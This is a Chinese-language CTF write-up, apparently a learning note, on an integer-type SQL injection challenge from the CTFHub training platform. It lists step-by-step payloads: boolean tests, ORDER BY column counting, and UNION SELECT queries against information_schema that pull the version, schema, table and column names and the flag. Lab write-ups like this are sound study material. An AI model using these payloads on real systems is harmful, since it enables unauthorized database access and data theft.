0x00 前言
CTFHub 专注网络安全、信息安全、白帽子技术的在线学习,实训平台。提供优质的赛事及学习服务,拥有完善的题目环境及配套 writeup ,降低 CTF 学习入门门槛,快速帮助选手成长,跟随主流比赛潮流。
0x01 题目描述
整数型注入:
(无)
0x02 解题过程
根据题目描述输入 1 进行测试,发现此题可能存在 SQL 注入漏洞。那么使用' and 1 = 1 ‘和' and 1 = 2’进行判断,此题存在 SQL 整数型漏洞注入。那么第一步先判断字段数量,然后检查数据库位置,知道数据库位置后查看数据库版本和数据库名。接着查看一下全部数据库名,并查看这些数据库的表名,发现一个表名为 flag 比较可疑。查看这个表名的全部字段后接着查看表中的数据得到此题 flag 。
Ⅰ根据网页显示内容输入1进行测试,发现此题可能存在SQL注入
Ⅱ在URL末尾使用'and 1 = 1'和'and 1 = 2'验证是否存在SQL注入
#payload
and 1 = 1
and 1 = 2
Ⅲ'and1 = 1'语句正常执行,回显正常
and 1 = 1
Ⅳ'and1 = 2'语句正常执行,回显出错,说明此题存在SQL整数型注入
and 1 = 2
Ⅴ使用order by 判断字段数量,从order by 1开始
order by 1
Ⅵ判断字段2,使用order by 2
order by 2
Ⅶ判断字段3,使用order by 3,这里无回显,那么字段数量为2列
order by 3
Ⅷ知道字段数量为2后,可以查看数据库位置,使用union select 1,2查看未发现数据
union select 1,2
Ⅸ判断数据可能不存在数据库中,在id=1中加入负号可以查看到不存在数据库中的数据
id=-1 union select 1,2
Ⅹ修改2为version(),查看数据库版本,发现数据库版本为MariaDB 10.3.22
id=-1 union select 1,version()
ⅩⅠ修改2为database(),查看数据库名,发现数据库版本为sqli
id=-1 union select 1,database()
ⅩⅡ查看全部数据库名
id=-1 union select 1,group_concat(schema_name)from information_schema.schemata
ⅩⅢ分别查看刚才获取到的数据库全部表名,最后在sqli数据库中发现名为flag的可疑表名
id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
ⅩⅣ查看flag表中的全部字段名
id=-1union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'
ⅩⅤ查看flag表中的全部数据,发现此题flag
id=-1 union select 1,group_concat(flag) from sqli.flag
0x03 SQL整数型注入
整数型注入漏洞判断:
- payload:and 1 = 1,语句执行正常,网页回显无差异
- payload:and 1 = 2,语句执行正常,无法查询出结果,网页回显存在差异
0x04 总结
文章内容为学习记录的笔记,由于作者水平有限,文中若有错误与不足欢迎留言,便于及时更正。